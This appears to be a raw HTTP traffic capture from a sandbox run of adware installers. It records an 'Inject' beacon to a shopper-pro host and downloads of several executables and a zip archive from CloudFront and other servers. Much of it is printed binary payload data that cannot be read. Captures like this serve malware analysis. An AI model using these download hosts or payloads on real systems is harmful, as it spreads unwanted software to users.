..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=GeneralInjector HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: z_T-fiVzdY029KuvSDvz2SaKN-g1QUilkkS5ILst1J_oieeJubMYlA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /pagead/conversion.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.googleadservices.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Content-Type: text/javascript; charset=UTF-8
ETag: 4876301562966458403
Date: Wed, 11 Feb 2015 11:08:09 GMT
Expires: Thu, 12 Feb 2015 11:08:09 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="f.txt"
Content-Encoding: gzip
Server: cafe
Content-Length: 4019
X-XSS-Protection: 1; mode=block
Age: 66348
Alternate-Protocol: 80:quic,p=0.02
Cache-Control: public, max-age=86400
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
.?.]F.{ ..my..F.....8...Zm....X."y...H.C.....N...D..=#D....4......?/!.
\.Wr....?..U..._%.X..2....g0.l..{..............H..Th..R..l]..8%.......
....s9..n.......F(^$E.r...I.c.z...3..Q..u..4H..cm.......vM.....a...M..
.6Y...3{......wa..d....k.....]...lC...vOa..9........77.....e.L.x...b..
W..a.t.R;...#....o.4...f..%.8..PD{..u......y.......m..L...=......Er...
s<.w..|/ah.).l9tA.........f..<:..3.H8...F..!X.......,.{P.".... .
.W..h&.T.1..n...'./r..<\.T..%.7......G.v..._....\;..TR.a.{%~-0..U..
.f....u..<.tM..q:v..X.R..o..........X.G..3A.....G.pp....$N......Z..
..^.(..TeG......./..P....}n.......<[email protected] ...Z.....U.)..k.
....g...E.& .....A....AA.'.....HG<.....M..wmt...T...[&.2.HK.*.....6
..k..........#.._;.Z....h6wn;.2.....7.fP.@.. .l-....JB".<$..d..Ol.b
.. I3...[..(X.E...U.c...h..'...H...`.E..A....t.2..m. ;U.C..<l..
<<< skipped >>>


GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inisxriy.com
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Thu, 12 Feb 2015 05:33:12 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.14p1
Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip
0......


GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inisxriy.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:13 GMT
Content-Type: application/zip
Content-Length: 482458
Last-Modified: Thu, 12 Feb 2015 02:38:59 GMT
Connection: keep-alive
Accept-Ranges: bytes
PK..........KF..~.............422.db.........y......<..A#.<y....
\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?...
.......\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}...@6
W.6........U.\a.....hh...;.....]......K.V.....uj.;y9e.".9R...j.T)....X
.i.F2v...q|.".2..V`:FBz........s4FZbl4APK..........CF.1..T....n......w
pm_v20.0.0.1714_0204.exe..Sp,..?~...m........b..m..m.v....|.v.z~..9. .
..g....~.........k9.y....^,..v..f'F....]..... /.y7*....5Q...Zh?j...5Nd
...P,.'.q.N.......V..A.A........bQ.G.e.....?......../.]R..Mf%.q......g
.0...... .yIH.r.......y...>I_..........T...VY..%QRE._....(......-j.
.K.Dv........4....N...z...".K.I.;..$i..........$!3.. .i.!..-.......jy?
....g.&...F.LZ9.W.4......y...E...Et.<00.<.d..V..o..5...-?..(....
...B..4.wn...1^.w...V.*.w..s....?c....#5....!J..[85T.u%...........dW5;
!*.....zQY....8X....c...J.P/........oUh.n.t..'.*d..?.].p/.......O-..y.
.[Q |...Xv~.....,...........u..^.Ve.V.l../.2..ef....G(HR.....a....... 
..T{}x.....w.-T...........2...a.I.rE...a....z........i...]..>N./...
.a.......9.......i..}t.w.s^.....w..=.gP.......I.?...HM.....}n..a......
...Y-.'/|.zq{.B..s.l.....:...........E......2.F..]_.!^.i^.......u....k
_.../.qj.. 7.K.[.^?..p|.rx)...^p.C................t*....:H....m..0,..9
P.,x"^D..>....(..j.......y......-....".1e@....!.b..h.tV.X...D..... 
...MB.....wf..O......r.....NBE..3....&.3.#...]....%.`.&5{Q..R z.z..\{.
h....G.\e^_......z....r.HO~K..'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V
.}A...K..v......B .P....wJ.3{-...3"......w%.[..:)..s..U..f.B..n\.G
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_c HTTP/1.1
Host: dl.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:37 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713605"
Last-Modified: Thu, 12 Feb 2015 04:00:05 GMT
Cache-Control: max-age=1628
Content-Length: 2622765
Content-Type: text/plain
X-HW: 1423719217.dop003.am4.t,1423719217.cds043.am4.c
:...>.h3...{.caB....yB.`[email protected].[@.ct..
(.%........./.......n....."AX^f..n.....d........"..8..;.{...H...k..JN.
.Q.&W..<.Zm.37..#..z;n.h.ib.$0..t.......D.. ...<..I....Z.5......
T.p..?C9?..OZ5.}g...=......iPT.e=.T.e^..5../.a.-w.....b.c.5...U-).'].1
..W..o.?......t.5..%h.Mw..3h../.....ZQ..:f.[G..a..up.*..6....}{..G...r
J];..C.hsE.Q..t.n......&....16./6.....W.d....4....ul..0...7* ..[....#u
N.Cm..n....j..r%...uJ..&..&Y......R...\..T.e...V......dn..?.v.E...g..[
;..(.&...H.... Xu...j*.......- |.M..?._....F.>.......K[.i...W..(.K.
n.AT....)..h3.4...<J.Z.a.Q.g..|..\..pz....0..E......Bg.~)B6_L~*...k
[email protected].>\.^DU.HzC.EHs.iz.2.P4...&.w.6.0...k..4.
k..B..X.6.Y_.......8..cw...k.t..F=...W.WXJ._...ibq.oa.........Eo.8._@.
.RM..o....Xt......>......7..}..X. %.I......,u=iR..>.....6.T}..yn
.....=k..b~....U=..[.#z|....f..VY....N.?.......3!..&......%c..}.9...Y&
gt;........4t........$....nE..m..{....,.s.X..._.3CNyV..m...G...\%.....
....etm..r...<.3..k;..q..[..e$..mdK..w.....j.DW.L.z......!.....K.m|
.z.sR(.<....l...N...EK..:...=.....{".._....-..x.....;^..|..yO....l.
.8~..T.*.x.$&....."..#=.{..t...N.6...Pf..../..Tn#..*OT...-ar....N.7y..
....:...X.K....\..A..R<....8...*^..0...oiG...`J.....M..:....$5..h..
.b.M.l~.>.. O.a:0&..1..3....p.....=...J.:E...C.. h....h.\.....@....
...5l7....4.{F..M..Kx7.?Wz..........I..f...o..E.j.6...H..F..9...~.....
>k[w.7u....V..B9 ..V...m...h..q\[email protected]<.p.)/\SK<.~
i.........Z.~....v.a..6..az>.,......2N`....w.6/ .p)....:..Fh...
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 250000-499999/7592848
Age: 49297
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LxDfwGpQswKSiGrHXd2jDg3WL3RgeZX8ODmkDVyBG-6rJmlG6wn07Q==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 750000-999999/7592848
Age: 49297
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kx-s9jbXy-ilzcTGsrx6XeGD_mlgc2N2z_w4mtoOb119aujiplCMQA==
..h......3.L......Y2..v...i(......_..-..3......!...C..(...2......Q....
..A.l...x.Gd.a...F...w...q....D.E.....vw.H....o....C...c`.A...!......f
...J...U.....Cs... ...v....j......n........L.....FQi..7j..#...Q....W..
-..m..<e*.<.%n.\..[....Y.k.......kyV#......;......o....M.....i.f
..BZU,..L.5_VGn~V.:.$.C..[......f.O...h.........w]..E.T..r.~..~...f..8
..?TO..4.[....;-).WH....M.....D4.......d..Dein.g.<.A#I........7....
[email protected][email protected]"q.\.. 6u.j.....!x.B3...8>
......"F..;.8%.9.......x[......d<....o.........".P...)............H
..|.....l.K2a....d....<zi@e;=...%AG..Qxg8..zL...o..........h....px$
..;Y........}XL.K.p.70...C...B. ..ep..."......A......=NQ7.1>m.V..|M
f.`<..?.......F........3..t.:.......A..F..).....H........=.... :].'
..0..z....CY......,.e..Nq...Xojn]3.../.....}q....a......x...0._. ....?
N,...x.*.di..>>Jy.u;..rU{X...wY.sn.-.x.....*H.{FP......'...w....
..g(.._.).......F...._......i.O.o....,..&lP..Nb...0:F.N.....x.....p...
.......=p4.I....8.....W0.Z.....}.......7\.bJ.t|....Zh....y;..W...G,...
.......C...t=oa....N..9.....)....._..~..........-4.e......O.......v(K.
.w..B....ucN9.P...Q.....\..`...P*.q...S...d.{7..12...0k...G.....'4...L
W.Xn_..l;*..v...$y......):.nf..i...F..g..u6.].M.n.............-N.*Fl2.
.[..n$..,{..:9_.'..Z...........=J.(..1.-....W^...].S......O3..........
..j.X..'|_..k... t}..d.V...Tl...v.G..7.@.'C.zt.qp...1b......gGW...X$..
......&>..r]..8..........2hR!.79x.....b..].....o.p..L....NA....g.l.
{..yM&.}...(1...V...}....I............F1....!T&.&c.-..4E-.#._.f.@.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1250000-1499999/7592848
Age: 49298
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1bk94KEophqGQKVh_2xYIjmnxoiMF1OEWPeDiolGgX-qOSVzxAzoTA==
.NiH..Z.u.......H..j-.[Z%..!6b......6\#.m....:9... ......n%b.J.uI.4...
..n...=.cK.v.x-..,.T"^/4...*.....<U....._5._..<M|...=.i]....n...
YV.....W..V...H.;.....P....R....ynw.'.y....Z...:[.9)Q.&9.....r....D...
66Y..W.....rij.......,.2c.....<..ia$8....H.]..../."W...W.'.-V..z...
...C....Z...o.%.;."......5M.|..NBg.......[..........3......f...n~..M.D
.d2.....".>.T.]==.....?Fy.N..%?.d..,~...P....{..`>.6...$..d3^g..
w..ec...a.O.d.m`[email protected]......<r5.S.............o3M.
..R.s._$-...$.(...8.*.6.%>.~..5...}P.c..d3..2..0....P.U.j.!..8q..MN
...B.PN..c.....7).K.....u..F..$....z..."V..N../~@...."..M...M`[.......
.....i..1Kf......NR......*.1.P]&5gwm(..`.l3..L.HT.Et9.N......K.dc....)
4vU...)<hp|.........Sj/.4H....... 7...'.R..o..[. .._.K....:..S..{..
&J:...>.b..k...*..k.^~.... 8;n....B2.?..0&.n...-6.0....c..7..4B....
~.....jI...K1..G..ISZ^....E.;T.......2y.|..{...\s...s.g...ma.{:#yT....
..k.....y...<[...|ts..].0o..y...k....}....W.y..u....<..T....:O.-
u..y.<.'.y>..?......:....y6.z.|.......o.y>.i.d=k.....u....d.F
Y.E.......;2........2.zY.>....:O..g....O.n.u.w[.'....&......3m.C...
G.5%'|....^............y.(........m".w.....d)1.|b.8...t....5T.Qa....`.
............6.t.6.....8.X.!..9.)......'... ....J*....C.M........,...d2
C.xZL..MJ{......u.D...b.~h...K.....YY.......k........Xi.Wtb.w).F;_i...
...q.~.'72D..t...)I.5...Om.......p.._..&..1....i)r...4o<.]..V..z.O.
[email protected].....?}..#.F:.. ..O...X..Uud..\/..y.P/..........B.Q...
A.C...v3.r.r..{.........s.&.q...h...g...R....$6W.........j\v..g0F.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1750000-1999999/7592848
Age: 49299
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VytRS0B0HhLTZwJAuROmOtlJSrgC0zcilGkCO6tgJEpe8hk7LMzRjQ==
..P...n..q.r....c....'?Cs.kv..:.I...x.G..........u^...u.E%..B.N.8e..d.
Cg.. ...C.....ZI....z.>J.........$*.. }k.Vr...l.f...*...jAk..&~....
"SXpq.1...."...c..l.......2....bk..o.....\.a......^.i=.5.I.Z..Ox8%N ..
.B.....!(....c..j...9..z~B..`l&..Af...^[email protected]. ..=....L0U...
..)....9.....;`.....U.......(F.w....s....s......[....e<.|;9..i.Gh..
.5~h85.S.L.H)t..K........xs.Z-b.........L..rL.Go.j..~...p..Ue..Z..'...
..T.O.?.M...x].E....W.K6>...<......... ......f.=...........Y8..?
..Pa..c..C...J...X....[C;.t.....C. .......p.].l2~.=....=..R...gK...F.d
;npk&.E...}....[..U0..@..][email protected]=.m...R...........UT...........*..=...W.
.5.F\.Y..;..c4...P.D5..'j,9.........Z..(....2..E4.....&.......V<..T
(....GP}7,....2.c...!._w. .WI......k.R`U....,.....j..(......n...H}....
a.<..q...).........*[email protected]^SLX..e._..F....N.
.......u#.RCI|).&..c......<....4..=:..`.-.d..H...Z.X>n.....4.VV.
..g.&.{a~.^.......f.......T.f.}[email protected](;.JYQ.
<.....-.}h.g......6.S.'[........{fi..W..!..K.._.Uq..w..m.u.. (.....
...w...s^..R.T.ei..,.N)...y.G...?........q,...F..D.....-..^R.....kk..~
e....X....(<...7]..gTB...g.....}v.3W.t.h\g.....V...!..pD........'.E
......!...>2.G#B..f...E..&.=p.L.b$:.....%.N..E......A5</.......$
/../...bu$...;.V.V;1......y.%...2..8...K.".....p.....8..l.\^.>7h...
...-.....z.."o...T.|3...jP......[f'...y..ai..IA;..Q...?9j......X.4.'9-
.%..{............j..'I.h.....Q............l.......J.%8....e.:....$u.7[
e...].........d->.I.>N|*.....2.......GO.... ....H.......J...
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2250000-2499999/7592848
Age: 49299
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xG_Sp2yqRA8_4_oEbwCqvQGcREpIUxg2hZQ_EVn8vMtgFZgmOwjmzw==
.NR...RT.... ...n...e...T.....@..{.,C..../D^..h..g.].x..yIhI....$Hs...
..Zh......'}j..!)e.J....;S................w.....g.;hz.7....w.e.. ..u#.
._.....E..B.l..2...i.O.."....*..5.....}^....<(..n.....e.q....".P.A.
..x...<..c4h...v3M.6}0...Fjpj..H!......S.......u.L....R.b[.7..c/KU.
.L.?X.).;$EH.8.VS..z.......R_^'...2.L.]>..Y8.*.........gl....h.?..g
.ck[[email protected]\wEj....90`.M..uMB....0...v.Z7.l._......u....N..
.\.x..k:jw..k.z.....]...O..v.....W.I..2........ Z...?.?yJ.9.).........
.d. /.}.EdM......q......\.w.^a.~g.c]..PT...|..$....jVk`....`...../.9 .
..M9B.V#[email protected]...`.....H...gr......w..uB.....]^'..$Y
.B.........B.\ ..=p,C...Y....Y..P&......f.....(...%. .$......PH. .Y...
J..Q,RD.CV...U......l.b!aO..j....[.....}2/......g...S.........>g.sf
....:....;............s.....7..F.........`.]XI.X-..])]...v.i..VK..BL-.
.|r..g^....:...H.#"..@..,.1-.....`.0.dy.c...^..$.:D......7O.......s9.k
[email protected]}.B...Wd..(........){.c..%.....Z[.d.vu.h3...c.
..qA.}[email protected]...
Ay........Q...u.Y.9. -4.p..X...&..9q.k.H]..atd..4)l.....o...N...Y...gD
.n=_..... .r...U...~..*.9Z.J"...... Iv../.#....k2.e.v4t..gX../.."...5:
.(..W.~.=BG.....ia.".QW.?v....8..~....K......t..o....:m-.#.L.4..Mn.2.:
...F.#..n.....L.......N.5!"..%,..o'h...t4.%...;...!...t.q)~...~5..y..X
..k[.\,..D..i..6.z..=...5....n#....k..#...A...H.[..... ...u....p..#`..
......u..y>....e[...'.D...P......|..[.>..4..e...v.v.i..........&
lt;m(.`..9..bk...bt..!..p....."......l..]g\.......Y..CEtXs%..=....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2750000-2999999/7592848
Age: 49300
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 0IOQiHZisPF982tV30RixgQZf9rvlUPkJIlH4-LzdDHNuZXisVGviA==
.."V.....iU.(VE.W..a..g.G.... ..1;.&E....L./.zO...9<.p.......K.....
..|........:[email protected].."....x(N&.-......`.;..Je.<U.R...CJe.
<>......*.........M.<.......YA..y.....(...G..n......</...i
^........HL.{...W..^........K...n..#..I.....=....x.....T....g.^q. .d&.
P......Vj..h.?._.u..e'...P..>.....sA......K.sY......D2..k......j...
....W..3b..F.?K!.....^6gI.:.../ .... ....I..._...z >.<..].d.....
R3...3<.Ni.....K.?=v..4..b....O/.-..GFsr^.9......-.B.;c.......|....
..H..(.7N....b..p.7e..7L1?z.1P.......7.........[q...[L....-M.;.O....V.
... ..d..|Th..8.X.\.z)....w.8B..7...'.k.r.y....../..q.)...[.p&].N6.xc.
.....m.xc'ol..m..m...U.z.y.g..t.AMM..!G.........O....[.y...|..3..6...x
....}....}X*.....$..XX[`.i?\....A.x.%.:.z........Pw..D......'O!>..(
{......`..c.....A.w!...bt.I..I.:D.......s.8Q..P....GRaZ._BK .......h..
La,.D..H.........9Fij.-...W......yY..BU,..0....}.,\..oG...N...].b.5...
..Z..p. ....*...v*.......N..$n.\4...$..dUo6....Ci...xzY8m.C...g."m....
[email protected]%"!...gU.."s.$.E.3....an....O.F....".`...........6..../.2...
..k...._....EA..%!..`...|...P]'hV.S..]..E.xIj.N...'....\....[.....@Mn.
..|......cqf..u$........... |...w........i.$..u.{.B.M..H.....?..'.. y.
.&}=7...L.....u.... _......l.Q....h....\.......Jv....6.t.a...M.......:
^..;[email protected]./."1.....KT|)...k.o....?0s..>
;A.xz.ovd.....?.d.....*...*]_.....?$....G0..sp{.8=.h9.x.. .w*..D..b.-.
).*....j.<).Ri.^..;~...y..L.....$....R...M....YX#\........i.e.....4
...1.~*.[D0x...?.....[........'.ob.../..D.?x.U:....LY1.... .S.C[..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 3250000-3499999/7592848
Age: 49300
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Si6-ZJDHU-XEhrL7LBOcKnKdc-CYSHO2nr7s28mppPzOQ6xs4XyEQQ==
..m. ....w..`.\W... .......... .t5.v..`).]AAQ.]W..s....%uv..*[.\..\.[l
^]A(.. .zA.v............q.uv..... .......-.v..V......o..r.*.-;:$c4`.0.
|q............D..W....J....`p. ...].%.........u\C.Bz.W..w.T..h.. .....
....sn8..E;8OT*wp..S..X.i ..]..U.....A^@^.5.<.k8.9.2e..e.@..;..Wc..
...@.../.....z.^. .W......v[}...fa..b*....J.%."...G.Vi.u...b..n.(.8...
..m..g..#<.k....t.?.n..).Ep....5..I./ttd={X.(...Yf..?.(...\..*....P
